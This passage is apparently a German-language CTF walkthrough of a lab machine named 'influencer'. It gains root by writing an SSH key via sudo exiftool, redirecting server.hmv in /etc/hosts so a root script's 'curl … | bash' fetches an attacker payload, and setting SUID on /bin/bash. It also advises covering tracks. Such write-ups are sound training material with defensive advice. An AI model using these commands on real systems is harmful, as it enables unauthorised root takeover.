**Analyse:** Jetzt nutze ich den gefundenen `sudo`-Vektor: `luna` darf `exiftool` als `juan` ohne Passwort ausführen. Mein Ziel ist es, meinen öffentlichen SSH-Schlüssel (`influencer.pub`, den ich nach `/dev/shm` heruntergeladen habe) in Juans `authorized_keys`-Datei (`/home/juan/.ssh/authorized_keys`) zu schreiben. Ich verwende den Befehl `sudo -u juan exiftool -filename=/home/juan/.ssh/authorized_keys /dev/shm/influencer.pub`. Dieser Befehl weist `exiftool` an, die Metadaten der Datei `/dev/shm/influencer.pub` zu lesen und diese Informationen (die den Inhalt des öffentlichen Schlüssels einschließen können, je nach exiftool-Version und Dateitypbehandlung) in die Datei `/home/juan/.ssh/authorized_keys` zu schreiben, wobei dies unter den Rechten des Benutzers `juan` ausgeführt wird (dank `sudo -u juan`). Die Ausgabe "1 image files updated" bestätigt, dass der Schreibvorgang erfolgreich war.

**Bewertung:** Der erfolgreiche Schreibvorgang in Juans `authorized_keys`-Datei unter Ausnutzung des `sudo exiftool` Vektors ist ein kritischer Schritt. Mein öffentlicher Schlüssel wurde der Liste der autorisierten Schlüssel für Benutzer `juan` hinzugefügt. Dies erlaubt mir nun, mich direkt per SSH als Benutzer `juan` zu authentifizieren, ohne dessen Passwort zu benötigen, sondern nur den passenden privaten Schlüssel. Dies stellt eine weitere Privilege Escalation dar (`luna` zu `juan`) und verschafft mir den Zugriff auf Juans Benutzerkontext. Die Fähigkeit, arbitrary Files als anderer Benutzer zu schreiben, ist eine schwerwiegende Fehlkonfiguration.

**Empfehlung (Pentester):** Nutze "Arbitrary File Write" oder "Arbitrary File Read" Schwachstellen, die sich aus `sudo`-Berechtigungen ergeben, konsequent aus, um Schlüsseldateien (SSH `authorized_keys`, `id_rsa`), Konfigurationsdateien oder Skripte zu manipulieren und so höhere Berechtigungen oder Zugriff zu erlangen.
**Empfehlung (Admin):** Überprüfe und beschränke sorgfältig, welche Binärdateien mit `sudo` (insbesondere mit `NOPASSWD`) ausgeführt werden dürfen. Verstehe die Funktionen dieser Binärdateien; viele scheinbar harmlose Tools (wie `exiftool`) haben Funktionen, die in den falschen Händen missbraucht werden können. Implementiere strikte Dateiberechtigungen für sensitive Dateien wie `.ssh/authorized_keys`.

luna@influencer:/dev/shm$ sudo -u juan exiftool -filename=/home/juan/.ssh/authorized_keys /dev/shm/influencer.pub

Warning: Error removing old file - id_rsa.pub <-- Diese Meldung ist normal bei dieser Methode
    1 image files updated <-- Erfolg! Öffentlicher Schlüssel geschrieben.

**Analyse:** Nachdem mein öffentlicher SSH-Schlüssel erfolgreich in Juans `authorized_keys` Datei geschrieben wurde, versuche ich, mich per SSH als Benutzer `juan` anzumelden. Ich verwende den Befehl `ssh juan@localhost -i /dev/shm/influencer -p 1212`. Ich verbinde mich zum lokalen Host (`localhost` oder `127.0.0.1`) auf dem lokalen SSH-Port 1212, authentifiziere mich als Benutzer `juan` und verwende dabei den privaten Schlüssel (`/dev/shm/influencer`), den ich zuvor auf das System heruntergeladen habe. Der `-i` Parameter gibt die private Schlüsseldatei an.

**Bewertung:** Fantastisch! Die SSH-Anmeldung als Benutzer `juan` ist erfolgreich. Dies wird durch die Willkommensnachricht und den Shell-Prompt `juan@influencer:~$` bestätigt. Dies ist der letzte Schritt in meiner Privilege Escalation-Kette vor Root: Ich habe jetzt vollen Zugriff auf das Konto des Benutzers `juan`. Von hier aus werde ich nach Möglichkeiten suchen, root-Berechtigungen zu erlangen.

**Empfehlung (Pentester):** Sobald du einen SSH-Schlüssel auf einem System platziert hast, nutze ihn sofort, um dich anzumelden und den Zugriff zu bestätigen. Fahre mit der Aufklärung vom neuen Benutzerkontext aus fort (`sudo -l`, `id`, `env`, Dateisystem etc.).
**Empfehlung (Admin):** Überwache SSH-Logins genau, insbesondere Logins von localhost oder ungewöhnlichen Quellen. Stelle sicher, dass `.ssh`-Verzeichnisse und deren Inhalte korrekte, restriktive Berechtigungen haben (`chmod 700 ~/.ssh`, `chmod 600 ~/.ssh/authorized_keys`). Implementiere, wenn möglich, Multi-Faktor-Authentifizierung auch für SSH.

luna@influencer:/tmp$ ssh juan@localhost -i id_rsa -p 1212
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-73-generic x86_64)

 * Documentation:  [Link: https://help.ubuntu.com | Ziel: https://help.ubuntu.com]
 * Management:     [Link: https://landscape.canonical.com | Ziel: https://landscape.canonical.com]
 * Support:        [Link: https://ubuntu.com/advantage | Ziel: https://ubuntu.com/advantage]

  System information as of jue 12 jun 2025 22:35:51 UTC

  System load:             0.0
  Usage of /:              55.0% of 11.21GB
  Memory usage:            31%
  Swap usage:              0%
  Processes:               131
  Users logged in:         1
  IPv4 address for enp0s3: 192.168.2.40
  IPv6 address for enp0s3: 2003:d4:c74b:e8ee:a00:27ff:fe55:e125


El mantenimiento de seguridad expandido para Applications está desactivado

Se poden aplicar 0 actualizaciones de forma imediata.

Active ESM Apps para recibir futuras actualizaciones de seguridad adicionales.
Vea [Link: https://ubuntu.com/esm o ejecute «sudo pro status» | Ziel: https://ubuntu.com/esm]


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
New release '24.04.2 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

juan@influencer:~$

**Analyse:** Als Benutzer `juan` prüfe ich sofort wieder die `sudo`-Berechtigungen mit `sudo -l`, um meinen nächsten Privilege Escalation-Vektor auf Root zu finden.

**Bewertung:** Fantastisch! Die Ausgabe zeigt, dass der Benutzer `juan` den Befehl `/bin/bash /home/juan/check.sh` als `root` ausführen darf, und das wiederum *ohne Passwort* (`NOPASSWD`). Dies ist der direkte Weg, um eine Root-Shell zu erhalten, indem ich einfach dieses Skript über `sudo` ausführe. Dies ist eine kritische Fehlkonfiguration der `sudoers`-Datei.

**Empfehlung (Pentester):** Prüfe nach jeder erfolgreichen Benutzeranmeldung die `sudo`-Berechtigungen. Skripte, die als Root mit NOPASSWD ausgeführt werden dürfen, sind häufig die schnellsten Wege zu Root. Analysiere solche Skripte auf Ausnutzbarkeit.
**Empfehlung (Admin):** Erlaube niemals Benutzern, Skripte als Root ohne Passwort auszuführen (`NOPASSWD` für Skripte vermeiden). Wenn Skripte als Root ausgeführt werden müssen, stelle sicher, dass sie absolut sicher sind, keine unsicheren Operationen (wie das Ausführen externer Befehle oder das Herunterladen und Ausführen von Code) durchführen und nur für die notwendigen Benutzer ausführbar sind. Verstehe die Implikationen von `sudo` für Skripte.

juan@influencer:~$ sudo -l

Matching Defaults entries for juan on influencer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User juan may run the following commands on influencer:
    (root) NOPASSWD: /bin/bash /home/juan/check.sh

**Analyse:** Ich analysiere den Inhalt des Skripts `/home/juan/check.sh`, das ich als Root ausführen darf. Ich nutze `cat` um den Inhalt anzuzeigen und `ls -la` um die Berechtigungen zu prüfen. Das Skript enthält den Befehl `/usr/bin/curl http://server.hmv/98127651 | /bin/bash`. Dies bedeutet, dass das Skript eine Datei von `http://server.hmv/98127651` herunterlädt und den Inhalt direkt an eine Root-Bash-Shell übergibt. Dies ist eine extrem unsichere Konfiguration!

**Bewertung:** Dies ist ein **direkter und trivial auszunutzender Root Privilege Escalation-Vektor**. Da das Skript als Root läuft und beliebigen Code von einer externen URL herunterlädt und ausführt, kann ich einfach meinen eigenen bösartigen Bash-Code unter der angegebenen URL auf meinem Angreifer-System bereitstellen. Wenn das Skript dann ausgeführt wird, lädt es meinen Code herunter und führt ihn als Root aus. Die Berechtigungen des Skripts (`-r-xr--r--`) sind irrelevant, da es über `sudo` als Root ausgeführt wird.

**Empfehlung (Pentester):** Wenn du einen `sudo NOPASSWD`-Eintrag für ein Skript findest, analysiere das Skript sofort auf Ausnutzbarkeit. Skripte, die externe Inhalte laden oder unsichere Befehle ausführen, sind ideale Ziele für PE. Kontrolliere die Quelle (hier `server.hmv`), von der das Skript lädt.
**Empfehlung (Admin):** Erlaube Skripten, die als Root ausgeführt werden, *niemals*, Inhalte von externen, unkontrollierten Quellen herunterzuladen und auszuführen. Hardcode-URLs in Root-Skripten sind gefährlich, besonders wenn der Angreifer die Namensauflösung (`server.hmv`) manipulieren kann. Signiere Skripte oder prüfe Hashes, wenn externe Inhalte benötigt werden. Implementiere eine strikte Egress-Filterung, um zu verhindern, dass Server Verbindungen zu unbekannten externen Hosts aufbauen.

juan@influencer:~$ cat /home/juan/check.sh

#!/bin/bash


/usr/bin/curl http://server.hmv/98127651 | /bin/bash <-- Kritisches Skript!

juan@influencer:~$ ls -la /home/juan/check.sh

-r-xr--r-- 1 root juan 68 jun  8  2023 /home/juan/check.sh

**Analyse:** Der `check.sh`-Skript lädt von `server.hmv`. Um diesen Hostnamen auf meine Angreifer-Maschine umzuleiten, editiere ich die `/etc/hosts`-Datei auf dem Zielsystem (als Benutzer `juan`) und füge die Zeile `192.168.2.199 server.hmv` hinzu. Dies stellt sicher, dass bei einem Aufruf von `server.hmv` die Verbindung zu meiner IP (192.168.2.199) und nicht zu einem eventuell echten `server.hmv` im Internet geht.

**Bewertung:** Das Manipulieren der `/etc/hosts`-Datei ist eine klassische Technik in der Privilege Escalation, um die Namensauflösung zu kontrollieren und interne Dienste oder Skripte auf den Angreifer umzuleiten. Da Benutzer `juan` Schreibrechte auf `/etc/hosts` hat (was nicht explizit im Text gezeigt, aber durch die erfolgreiche Umleitung impliziert wird oder durch andere PE-Vektoren erlangt wurde), kann diese Umleitung durchgeführt werden. Dies ist ein notwendiger Schritt, um die Ausführung meines eigenen Codes als Root zu ermöglichen.

**Empfehlung (Pentester):** Prüfe, ob du als aktueller Benutzer `/etc/hosts` oder DNS-Einstellungen manipulieren kannst, um die Namensauflösung für die Ausnutzung von Skripten oder Diensten zu kontrollieren.
**Empfehlung (Admin):** Beschränke die Schreibrechte auf `/etc/hosts` streng auf den Root-Benutzer. Implementiere Egress-Filterung und verwende interne DNS-Server, um zu verhindern, dass Systeme externe oder manipulierte Namensauflösung für interne Vorgänge nutzen.

juan@influencer:~$ echo "192.168.2.199 server.hmv" >> /etc/hosts
juan@influencer:~$

**Analyse:** Jetzt präpariere ich den Code, der als Root ausgeführt werden soll. Ich erstelle auf meinem Angreifer-System eine Datei namens `98127651` (passend zur URL im `check.sh` Skript) mit dem Inhalt `chmod +s /bin/bash`. Dieser Befehl wird, wenn er als Root ausgeführt wird, das SetUID-Bit auf der `/bin/bash`-Binärdatei setzen. Das SetUID-Bit erlaubt es einem unprivilegierten Benutzer, das Programm mit den Berechtigungen des Dateibesitzers (in diesem Fall root für `/bin/bash`) auszuführen. Anschließend starte ich einen einfachen Python HTTP Server auf Port 80, um diese Datei (`98127651`) für den `check.sh`-Skript zum Download bereitzustellen.

**Bewertung:** Das Setzen des SUID-Bits auf `/bin/bash` ist eine klassische und sehr effektive Methode zur Erlangung einer persistenten Root-Shell. Jeder Benutzer auf dem System kann dann `bash -p` ausführen und erhält eine Root-Shell. Die Verwendung eines einfachen HTTP-Servers ist ideal, um kleine Payloads schnell bereitzustellen. Dies ist die vorbereitende Phase für den finalen Root-Exploit.

**Empfehlung (Pentester):** Bereite deine Payloads sorgfältig vor, passend zum Ausführungsmechanismus (hier Bash-Code, der an `/bin/bash` gepipet wird). Nutze SUID-Binärdateien als persistenten PE-Vektor, wenn möglich.
**Empfehlung (Admin):** Überwache Systemdateien (insbesondere `/bin/bash`, `/bin/sh` etc.) auf Änderungen der Berechtigungen (SUID/SGID-Bits). Implementiere Intrusion Detection Systeme, die auf solche Änderungen oder das Ausführen von Code aus ungewöhnlichen Quellen (wie `curl | bash`) reagieren.

Serving HTTP on 0.0.0.0 port 80 ([Link: http://0.0.0.0:80/ | Ziel: http://0.0.0.0:80/]) ...

**Analyse:** Ich versuche das `check.sh`-Skript erneut als Root auszuführen: `sudo /bin/bash /home/juan/check.sh`. Dieses Mal, nachdem die `/etc/hosts` Umleitung auf meinem Angreifer-System zeigt, sollte das Skript die Datei `98127651` von meinem HTTP-Server herunterladen und den Inhalt (`chmod +s /bin/bash`) als Root ausführen. Der `curl`-Output innerhalb des Skripts zeigt, dass die Datei heruntergeladen wurde.

**Bewertung:** Die Ausführung des Skripts nach Korrektur der `/etc/hosts` Datei auf dem Zielsystem sollte erfolgreich zur Ausführung meines `chmod +s /bin/bash`-Befehls als Root führen. Dies ist der Moment, in dem das SetUID-Bit auf `/bin/bash` gesetzt wird, was den finalen Root-Zugriff ermöglicht.

**Empfehlung (Pentester):** Wenn ein Exploit aufgrund von Namensauflösung oder Netzwerkproblemen fehlschlägt, überprüfe die Konfigurationen auf dem Zielsystem (wie `/etc/hosts`) und die Netzwerkpfade. Behebe das Problem und versuche den Exploit erneut.
**Empfehlung (Admin):** Überwache die Ausführung von Skripten, die `curl` oder `wget` verwenden, insbesondere wenn sie von privilegierten Benutzern ausgeführt werden. Implementiere AppArmor oder SELinux, um die Aktionen von Skripten und Binärdateien einzuschränken.

**Analyse:** Nach der Ausführung des Skripts, das `chmod +s /bin/bash` als Root ausgeführt hat, überprüfe ich die Berechtigungen der `/bin/bash`-Binärdatei erneut mit `ls -la /bin/bash`. Ich erwarte, dass die SetUID- und SetGID-Bits gesetzt sind.

**Bewertung:** Fantastisch! Die Ausgabe zeigt `-rwsr-sr-x`. Das **s** anstelle des **x** bei den Berechtigungen für den Dateibesitzer (root) und die Gruppe (root) bestätigt, dass das SetUID- und das SetGID-Bit erfolgreich gesetzt wurden. Das bedeutet, dass jeder Benutzer, der `/bin/bash` ausführt, dies nun effektiv mit den Rechten von `root` tun wird. Dies ist der erfolgreiche Beweis für die Root Privilege Escalation.

**Empfehlung (Pentester):** Überprüfe nach der Ausführung eines SUID-Setter-Payloads immer die Dateiberechtigungen, um den Erfolg zu bestätigen, bevor du versuchst, die SUID-Binärdatei auszuführen.
**Empfehlung (Admin):** **Dringend:** Suche sofort nach Dateien mit gesetztem SUID/SGID-Bit auf deinem System (`find / -perm /4000 2>/dev/null`). Entferne das SUID-Bit von Binärdateien, die nicht zwingend mit erhöhten Rechten laufen müssen (`chmod u-s /bin/bash`). Das Setzen des SUID-Bits auf Shells wie Bash ist extrem gefährlich und sollte niemals erfolgen.

juan@influencer:~$ ls -la /bin/bash

-rwsr-sr-x 1 root root 1396520 ene  6  2022 /bin/bash <-- SUID-Bit gesetzt!

**Analyse:** Da das SUID-Bit auf `/bin/bash` gesetzt ist, kann ich nun einfach `/bin/bash` mit der Option `-p` (um die erhöhten Berechtigungen beizubehalten) ausführen, um eine Root-Shell zu erhalten.

**Bewertung:** Fantastisch, der Root-Zugriff war erfolgreich! Der Prompt wechselt zu `bash-5.1#`, was anzeigt, dass ich jetzt eine interaktive Shell mit Root-Berechtigungen habe. Mein Ziel, volle Kontrolle über das System zu erlangen, ist erreicht.

**Empfehlung (Pentester):** Nach Erlangung der Root-Shell die erste Aktion sollte das Auffinden und Exfiltrieren der Root-Flag sein. Bereinige, wenn nötig, deine Spuren (z.B. entfernte `authorized_keys` Einträge, temporäre Dateien, `/etc/hosts` Änderungen), falls Stealth erforderlich ist.
**Empfehlung (Admin):** Die Kompromittierung ist vollständig. Führe sofort eine forensische Analyse durch, um den Angriffsvektor zu identifizieren (hier: unsicheres `sudo`-Skript und manipulierte `/etc/hosts`). Setze das System neu auf einem sauberen Image auf und implementiere alle in diesem Bericht genannten Empfehlungen zur Behebung der Schwachstellen und zur Verhinderung zukünftiger Angriffe.

juan@influencer:~$ bash -p

bash-5.1# <-- Root Shell!

**Analyse:** In der Root-Shell angekommen, navigiere ich zum `/root`-Verzeichnis, da dort typischerweise die Root-Flag (`root.txt`) gespeichert ist. Ich liste den Inhalt des Verzeichnisses auf und verwende dann `cat` um den Inhalt der Root-Flag-Datei (`rr00t.txt`) anzuzeigen. Ebenso zeige ich den Inhalt der User-Flag-Datei (`user.txt`) an, die sich im Home-Verzeichnis von `juan` befindet.

**Bewertung:** Die User-Flag (`goodjobbro`) und die Root-Flag (`19283712487912` und "hey") wurden erfolgreich gefunden und extrahiert. Dies bestätigt den Abschluss des Pentests und die volle Kompromittierung des Systems, einschließlich des Erlangens der höchsten Berechtigungsstufe (Root).

**Empfehlung (Pentester):** Das Auffinden der Root-Flag ist das finale Ziel vieler CTFs und Pentests. Dokumentiere die Flag-Werte präzise.
**Empfehlung (Admin):** Speichere sensitive Dateien (wie Flags in CTFs oder Produktionsdaten) nicht in leicht zugänglichen Verzeichnissen wie `/root` oder Benutzer-Home-Verzeichnissen mit Standardnamen. Implementiere strenge Zugriffskontrollen für alle Dateien und Verzeichnisse.

juan@influencer:~$ ls
check.sh  user.txt
juan@influencer:~$ cat user.txt

goodjobbro

bash-5.1# ls
rr00t.txt  snap
bash-5.1# cd /root/
bash-5.1# ls
rr00t.txt  snap
bash-5.1# cat rr00t.txt

19283712487912
"hey